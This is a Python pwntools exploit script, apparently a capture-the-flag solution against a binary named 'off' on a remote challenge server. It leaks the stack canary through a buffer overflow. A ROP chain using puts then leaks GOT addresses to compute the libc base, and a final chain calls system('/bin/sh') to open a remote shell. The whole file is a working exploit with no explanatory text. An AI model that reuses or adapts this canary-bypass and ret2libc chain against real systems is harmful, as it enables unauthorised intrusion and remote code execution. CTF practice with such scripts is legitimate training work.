from pwn import *
context.binary = bin = ELF("./off")
libc = ELF("./libc6_2.23-0ubuntu10_amd64.so")
gs = '''
set follow-fork-mode parent
#set follow-fork-mode child
#run
b *0x400870
'''.format(**locals())
def start_local(isDebug=0, argv=[], *a, **kw):
if args.GDB or isDebug:
return gdb.debug([bin.path], gdbscript=gs)
else:
return process([bin.path], *a, **kw)
def main():
#p = start_local()
p = remote("34.159.151.77", 31038)
p.sendlineafter(b':-)\n', b'A' * 1033)
output = p.recv()
canary = u64(output.split(b'A'*1033)[1][:7].rjust(8, b'\x00'))
log.success(f"Leaked canary: {hex(canary)}")
pop_rdi = p64(0x4009b3)
# Leak GOT entries with puts
payload = b'\x90' * 1032 + p64(canary) + b'B' * 8 # Pad and patch in our leaked canary
payload += pop_rdi + p64(bin.got.puts) + p64(bin.plt.puts) # Leak 3 addresses to calculate the base of libc
payload += pop_rdi + p64(bin.got.fork) + p64(bin.plt.puts)
payload += pop_rdi + p64(bin.got.setvbuf) + p64(bin.plt.puts)
p.sendlineafter(b':-)\n', payload)
p.recvline() # Parse the leaks
puts_got = u64(p.recvline().strip().ljust(8, b'\x00'))
fork_got = u64(p.recvline().strip().ljust(8, b'\x00'))
setvbuf_got = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts GOT entry: {hex(puts_got)}")
log.info(f"Leaked fork GOT entry: {hex(fork_got)}")
log.info(f"Leaked setvbuf GOT entry: {hex(setvbuf_got)}")
libc.address = fork_got - 0xcc340 # Calculate libc base
log.success(f"Libc base: {hex(libc.address)}")
bin_sh = p64(next(libc.search(b"/bin/sh\x00")))
system = p64(libc.sym.system)
rop = ROP(libc)
rop.raw(rop.ret)
print(rop.dump()) # Stack alignment
payload = b'\x90' * 1032 + p64(canary) + b'B' * 8
payload += rop.chain()
payload += pop_rdi + bin_sh
payload += system
p.sendlineafter(b':-)\n', payload)
p.interactive()
if __name__ == '__main__':
main()